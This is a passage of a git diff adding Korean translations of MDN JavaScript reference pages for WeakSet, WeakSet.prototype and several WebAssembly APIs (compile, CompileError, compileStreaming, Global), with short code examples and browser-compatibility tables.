+<h2 id="WeakSet_인스턴스"><code>WeakSet</code> 인스턴스</h2>
+
+<p>모든 <code>WeakSet</code> 인스턴스는 {{jsxref("WeakSet.prototype")}}에서 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','속성')}}</p>
+
+<h3 id="메서드">메서드</h3>
+
+<p>{{page('ko/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype','메서드')}}</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="WeakSet_객체_사용"><code>WeakSet</code> 객체 사용</h3>
+
+<pre class="brush: js">var ws = new WeakSet();
+var obj = {};
+var foo = {};
+
+ws.add(window);
+ws.add(obj);
+
+ws.has(window); // true
+ws.has(foo); // false, foo가 집합에 추가되지 않았음
+
+ws.delete(window); // 집합에서 window 제거함
+ws.has(window); // false, window가 제거되었음
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-weakset-objects', 'WeakSet')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-weakset-objects', 'WeakSet')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("javascript.builtins.WeakSet")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html b/files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html
new file mode 100644
index 0000000000..ee3f439ae9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/weakset/prototype/index.html
@@ -0,0 +1,141 @@
+---
+title: WeakSet.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WeakSet/prototype
+tags:
+ - ECMAScript6
+ - JavaScript
+ - Property
+ - WeakSet
+translation_of: Web/JavaScript/Reference/Global_Objects/WeakSet
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WeakSet.prototype</strong></code> 속성(property)은 {{jsxref("WeakSet")}} 생성자에 대한 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>{{jsxref("WeakSet")}} 인스턴스는 {{jsxref("WeakSet.prototype")}}에서 상속합니다. 모든 <code>WeakSet</code> 인스턴스에 속성 또는 메서드를 추가하기 위해 생성자의 프로토타입 객체를 사용할 수 있습니다.</p>
+
+<p><code>WeakSet.prototype</code>은 그 자체로 그냥 평범한 객체입니다:</p>
+
+<pre class="brush: js">Object.prototype.toString.call(WeakSet.prototype); // "[object Object]"</pre>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>WeakSet.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성한 함수를 반환합니다. 이는 기본으로 {{jsxref("WeakSet")}} 함수입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("WeakSet.add", "WeakSet.prototype.add(value)")}}</dt>
+ <dd><code>WeakSet</code> 객체에 주어진 값을 갖는 새로운 객체를 추가합니다.</dd>
+ <dt>{{jsxref("WeakSet.delete", "WeakSet.prototype.delete(value)")}}</dt>
+ <dd><code>value</code>와 관련된 요소를 제거합니다. <code>WeakSet.prototype.has(value)</code>는 그 뒤에 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("WeakSet.has", "WeakSet.prototype.has(value)")}}</dt>
+ <dd><code>WeakSet</code> 객체 내 주어진 값을 갖는 요소가 존재하는 지 여부를 주장하는(asserting, 나타내는) boolean을 반환합니다.</dd>
+ <dt><s class="obsoleteElement">{{jsxref("WeakSet.prototype.clear()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement"><code>WeakSet</code> 객체에서 모든 요소를 제거합니다.</s></dd>
+</dl>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-weakset.prototype', 'WeakSet.prototype')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>36</td>
+ <td>{{ CompatGeckoDesktop(34) }}</td>
+ <td>{{CompatNo}}</td>
+ <td>23</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Ordinary object</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("40")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome for Android</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoMobile(34) }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Ordinary object</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("40")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+ <li>{{jsxref("WeakMap.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html
new file mode 100644
index 0000000000..eb7dd71f5f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/compile/index.html
@@ -0,0 +1,83 @@
+---
+title: WebAssembly.compile()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compile
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.compile()</code></strong>함수는 WebAssembly 바이너리 코드에서 {{jsxref ( "WebAssembly.Module")}}을 컴파일합니다. 이 함수는 모듈을 인스턴스화하기 전에 컴파일해야하는 경우에 유용합니다. 그렇지 않으면 {{jsxref ( "WebAssembly.instantiate ()")}} 함수를 사용해야합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compile(bufferSource);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>bufferSource</em></dt>
+ <dd>컴파일 할 .wasm 모듈의 이진 코드가 들어있는 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a> 또는 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer">ArrayBuffer</a>입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>Promise</code>는 컴파일 된 모듈로 표현된 {{jsxref ( "WebAssembly.Module")}} 객체로 반환됩니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>bufferSource</code>가 <a href="/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>가 아니면 {{jsxref("TypeError")}}가 발생합니다.</li>
+ <li>컴파일에 실패하면 promise는 {{jsxref("WebAssembly.CompileError")}}와 함께 reject가 반환됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음은 <code>compile()</code> 함수를 사용하여 simple.wasm 바이트 코드를 컴파일 하고 <a href="/en-US/docs/Web/API/Worker/postMessage">postMessage()</a>를 사용하여 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API">worker</a>에 보내는 예제입니다.</p>
+
+<pre class="brush: js">var worker = new Worker("wasm_worker.js");
+
+fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.compile(bytes)
+).then(mod =&gt;
+  worker.postMessage(mod)
+);</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 대부분의 경우에 {{jsxref("WebAssembly.compileStreaming()")}}를 사용하는 것이 좋습니다. 이는 <code>compile()</code>보다 효율적이기 때문입니다.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#webassemblycompile', 'compile()')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.compile")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html
new file mode 100644
index 0000000000..40ba328985
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/compileerror/index.html
@@ -0,0 +1,114 @@
+---
+title: WebAssembly.CompileError()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.CompileError()</strong></code>생성자는 WebAssembly 디코딩 또는 유효성 검사 중에 발생한 오류를 나타내는 WebAssembly <code>CompileError</code> 객체를 새로 만듭니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new WebAssembly.CompileError(<var>message</var>, <var>fileName</var>, <var>lineNumber</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>message</code> {{optional_inline}}</dt>
+ <dd>사람이 읽을수 있는 형태의 에러에 대한 설명.</dd>
+ <dt><code>fileName</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드가 들어있는 파일의 이름입니다.</dd>
+ <dt><code>lineNumber</code> {{optional_inline}}{{non-standard_inline}}</dt>
+ <dd>예외의 원인이 된 코드의 행 번호입니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em><code>CompileError</code> 생성자에는 고유 한 고유 속성이 없지만 프로토 타입 체인을 통해 일부 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt><code>WebAssembly.CompileError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토 타입을 작성한 함수를 지정합니다.</dd>
+ <dt>{{jsxref("Error.prototype.message", "WebAssembly.CompileError.prototype.message")}}</dt>
+ <dd>에러 메시지. ECMA-262는 {{jsxref ( "URIError")}}가 <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a>에서 자체 <code>message</code> 속성을 제공하도록 지정했지만 {{jsxref ( "Error.prototype.message")}}를 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.name", "WebAssembly.CompileError.prototype.name")}}</dt>
+ <dd>에러 명칭. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "WebAssembly.CompileError.prototype.fileName")}}</dt>
+ <dd>에러가 발생한 파일의 경로. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "WebAssembly.CompileError.prototype.lineNumber")}}</dt>
+ <dd>에러가 발생한 파일의 코드 줄번호. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "WebAssembly.CompileError.prototype.columnNumber")}}</dt>
+ <dd>에러가 발생한 줄의 열 번호. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "WebAssembly.CompileError.prototype.stack")}}</dt>
+ <dd>스텍 추적. {{jsxref("Error")}}에서 상속합니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>CompileError</code></em> 생성자에는 자체 메서드가 없지만 프로토 타입 체인을 통해 일부 메서드를 상속합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Error.prototype.toSource", "WebAssembly.CompileError.prototype.toSource()")}}</dt>
+ <dd>동일한 오류로 판단할 수 있는 코드를 반환합니다. {{jsxref("Error")}}에서 상속합니다.</dd>
+ <dt>{{jsxref("Error.prototype.toString", "WebAssembly.CompileError.prototype.toString()")}}</dt>
+ <dd>지정된 Error 객체를 나타내는 문자열을 반환합니다. {{jsxref("Error")}}에서 상속합니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 스 니펫은 새 <code>CompileError</code> 인스턴스를 만들고 콘솔에 세부 정보를 기록합니다.</p>
+
+<pre class="brush: js">try {
+ throw new WebAssembly.CompileError('Hello', 'someFile', 10);
+} catch (e) {
+ console.log(e instanceof CompileError); // true
+ console.log(e.message); // "Hello"
+ console.log(e.name); // "CompileError"
+ console.log(e.fileName); // "someFile"
+ console.log(e.lineNumber); // 10
+ console.log(e.columnNumber); // 0
+ console.log(e.stack); // returns the location where the code was run
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#constructor-properties-of-the-webassembly-object', 'WebAssembly constructors')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial WebAssembly draft definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard', 'NativeError')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Definition of standard NativeError types.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.CompileError")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
new file mode 100644
index 0000000000..a713ca1c0d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html
@@ -0,0 +1,79 @@
+---
+title: WebAssembly.compileStreaming()
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>WebAssembly.compileStreaming()</code></strong>함수는 스트림 된 원본 소스에서 직접 {{jsxref ( "WebAssembly.Module")}}을 컴파일합니다. 이 함수는 모듈을 인스턴스화하기 전에 컴파일해야하는 경우 유용합니다 (그렇지 않으면 {{jsxref ( "WebAssembly.instantiateStreaming ()")}} 함수를 사용해야합니다).</p>
+
+<p> </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">Promise&lt;WebAssembly.Module&gt; WebAssembly.compileStreaming(<em>source</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>source</em></dt>
+ <dd>스트리밍 및 컴파일하려는 .wasm 모듈의 기본 소스를 나타내는 {{domxref ( "Response")}} 객체 또는 약속을 수행합니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>Promise</code>는 컴파일 된 모듈로 표현된 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Module" title="The documentation about this has not yet been written; please consider contributing!"><code>WebAssembly.Module</code></a> 객체로 반환됩니다.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>bufferSource</code>가 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed array</a>가 아니면 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/TypeError" title="TypeError 객체는 변수의 값이 원하는 타입이 아닐 때 발생하는 에러를 표현합니다."><code>TypeError</code></a>가 발생합니다.</li>
+ <li>컴파일에 실패하면 promise는 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WebAssembly.CompileError</code></a>와 함께 reject가 반환됩니다.</li>
+</ul>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/compile-streaming.html">compile-streaming.html</a> 데모 및 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/compile-streaming.html">라이브보기</a>)에서 기본 소스의 .wasm 모듈을 직접 스트리밍 한 다음 {{jsxref ( "WebAssembly.Module")}} 객체로 컴파일합니다. <code>compileStreaming()</code> 함수는 {{domxref ( "Response")}} 객체에 대한 promise를 받으므로 직접 {{domxref ( "WindowOrWorkerGlobalScope.fetch ()")}} 호출을 전달할 수 있습니다.</p>
+
+<pre class="brush: js">var importObject = { imports: { imported_func: arg =&gt; console.log(arg) } };
+
+WebAssembly.compileStreaming(fetch('simple.wasm'))
+.then(module =&gt; WebAssembly.instantiate(module, importObject))
+.then(instance =&gt; instance.exports.exported_func());</pre>
+
+<p>결과 모듈 인스턴스는 {{jsxref ( "WebAssembly.instantiate ()")}}를 사용하여 인스턴스화되고 내 보낸 함수가 호출됩니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly Embedding', '#webassemblycompilestreaming', 'compileStreaming()')}}</td>
+ <td>{{Spec2('WebAssembly Embedding')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.compileStreaming")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/global/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/global/index.html
new file mode 100644
index 0000000000..c85d74b53c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/global/index.html
@@ -0,0 +1,116 @@
+---
+title: WebAssembly.Global
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+---
+<div>{{JSRef}}</div>
+
+<div> </div>
+
+<div><strong><code>WebAssembly.Global</code></strong> 객체는 전역 변수 인스턴스를 나타내며 JavaScript 및 하나 이상의 {{jsxref("WebAssembly.Module")}} 인스턴스에서 가져 오거나 내보낼 수 있습니다. 이렇게하면 여러 모듈을 동적으로 연결할 수 있습니다.</div>
+
+<h2 id="Constructor_Syntax">Constructor Syntax</h2>
+
+<pre class="syntaxbox">var myGlobal = new WebAssembly.Global(<em>descriptor</em>, <em>value</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><em>descriptor</em></dt>
+ <dd>A <code>GlobalDescriptor</code> dictionary object, 두 개의 속성이 포함되어 있습니다.
+ <ul>
+ <li><code>value</code>: {{domxref("USVString")}}는 전역의 데이터 유형을 나타냅니다. i32, i64, f32 및 f64 중 하나입니다.</li>
+ <li><code>mutable</code>: 전역 변수를 변경할 수 있는지 여부를 결정하는 부울 값입니다. 기본적으로 <code>false</code>입니다.</li>
+ </ul>
+ </dd>
+ <dt><em>value</em></dt>
+ <dd>변수에 포함 된 값입니다. 변수의 데이터 타입과 일치하는 한 모든 값을 사용할 수 있습니다.<br>
+ 변수에 포함 된 값입니다. 변수의 데이터 타입과 일치하는 모든 값을 사용할 수 있습니다. 값을 지정하지 않으면 <a href="https://webassembly.github.io/spec/js-api/#defaultvalue"><code>DefaultValue</code> 알고리즘</a>에 지정된대로 입력 된 0 값이 사용됩니다.</dd>
+</dl>
+
+<h2 id="Function_properties_of_the_Module_constructor">Function properties of the <code>Module</code> constructor</h2>
+
+<p>None.</p>
+
+<h2 id="Global_instances">Global instances</h2>
+
+<p>모든 <code>Global</code> 인스턴스는 <code>Global()</code> 생성자의 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype">prototype object</a>에서 상속받습니다.이 인스턴스는 모든 <code>Global</code> 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h3 id="Instance_properties">Instance properties</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Properties')}}</p>
+
+<h3 id="Instance_methods">Instance methods</h3>
+
+<p>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype', 'Methods')}}</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>다음 예제에서는 <code>WebAssembly.Global()</code> 생성자를 사용하여 만드는 새 전역 인스턴스를 보여줍니다. 값이 0 인 변경 가능한 <code>i32</code> 유형으로 정의됩니다.</p>
+
+<p>The value of the global is then changed, first to <code>42</code> using the <code>Global.value</code> property, and then to 43 using the <code>incGlobal()</code> function exported out of the <code>global.wasm</code> module (this adds 1 to whatever value is given to it and then returns the new value). </p>
+
+<p>그런 다음 <code>global.value</code> 속성을 사용하여 <code>42</code>까지 전역 값을 변경 한 다음 <code>global.wasm</code> 모듈에서 내 보낸 <code>incGlobal()</code> 함수를 사용하여 43으로 변경합니다.(이것은 값이 주어진 값에 1을 더한 다음 새 값을 반환합니다.)</p>
+
+<pre class="brush: js">const output = document.getElementById('output');
+
+function assertEq(msg, got, expected) {
+ output.innerHTML += `Testing ${msg}: `;
+ if (got !== expected)
+ output.innerHTML += `FAIL!&lt;br&gt;Got: ${got}&lt;br&gt;Expected: ${expected}&lt;br&gt;`;
+ else
+ output.innerHTML += `SUCCESS! Got: ${got}&lt;br&gt;`;
+}
+
+assertEq("WebAssembly.Global exists", typeof WebAssembly.Global, "function");
+
+const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);
+
+WebAssembly.instantiateStreaming(fetch('global.wasm'), { js: { global } })
+.then(({instance}) =&gt; {
+ assertEq("getting initial value from wasm", instance.exports.getGlobal(), 0);
+ global.value = 42;
+ assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42);
+ instance.exports.incGlobal();
+ assertEq("getting wasm-updated value from JS", global.value, 43);
+});</pre>
+
+<div class="note">
+<p><strong>Note</strong>: GitHub에서 실행중인 예제(<a href="https://mdn.github.io/webassembly-examples/js-api-examples/global.html">running live on GitHub</a>)를 볼 수 있습니다. <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.html">source code</a>도 참조하십시오.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Global")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAssembly">WebAssembly</a> overview page</li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="/ko/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></li>
+ <li><a href="https://github.com/WebAssembly/mutable-global/blob/master/proposals/mutable-global/Overview.md">Import/Export mutable globals proposal</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html
new file mode 100644
index 0000000000..3b7e8a9e2b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/webassembly/global/prototype/index.html
@@ -0,0 +1,69 @@
+---
+title: WebAssembly.Global.prototype
+slug: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/WebAssembly/Global
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>WebAssembly.Global</strong></code><strong><code>.prototype</code></strong> 속성은 {{jsxref("WebAssembly.Global()")}} 생성자의 프로토 타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>모든 {{jsxref("WebAssembly.Global")}} 인스턴스는 <code>Global.prototype</code>에서 상속받습니다. {{jsxref("WebAssembly.Global()")}} 생성자의 프로토 타입 객체는 모든 {{jsxref( "WebAssembly.Global")}} 인스턴스에 영향을 미치도록 수정할 수 있습니다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code>Global.prototype.constructor</code></dt>
+ <dd>이 객체의 인스턴스를 생성 한 함수를 돌려줍니다. 기본적으로 이것은 {{jsxref("WebAssembly.Global()")}} 생성자입니다.</dd>
+ <dt><code>Global.prototype[@@toStringTag]</code></dt>
+ <dd><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/toStringTag">@@toStringTag</a> 속성의 초기 값은 String 값인 "WebAssembly.Global"입니다.</dd>
+ <dt><code>Global.prototype.value</code></dt>
+ <dd>전역 변수에 포함 된 값 - 전역 값을 직접 설정하고 가져 오는 데 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt><code>Global.prototype.valueOf()</code></dt>
+ <dd>전역 변수에 포함 된 값을 반환하는 Old-style 메서드입니다.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('WebAssembly JS', '#globals', 'WebAssembly.Global()')}}</td>
+ <td>{{Spec2('WebAssembly JS')}}</td>
+ <td>Initial draft definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.WebAssembly.Global.prototype")}}</p>
+</div>
+
+<div>
+
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("WebAssembly.Global()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/webassembly/index.html b/files/ko/web/javascript/reference/global_objects/webassembly/index.html
new file mode 100644
index 0000000000..8412c9f0e4
--- /dev/null
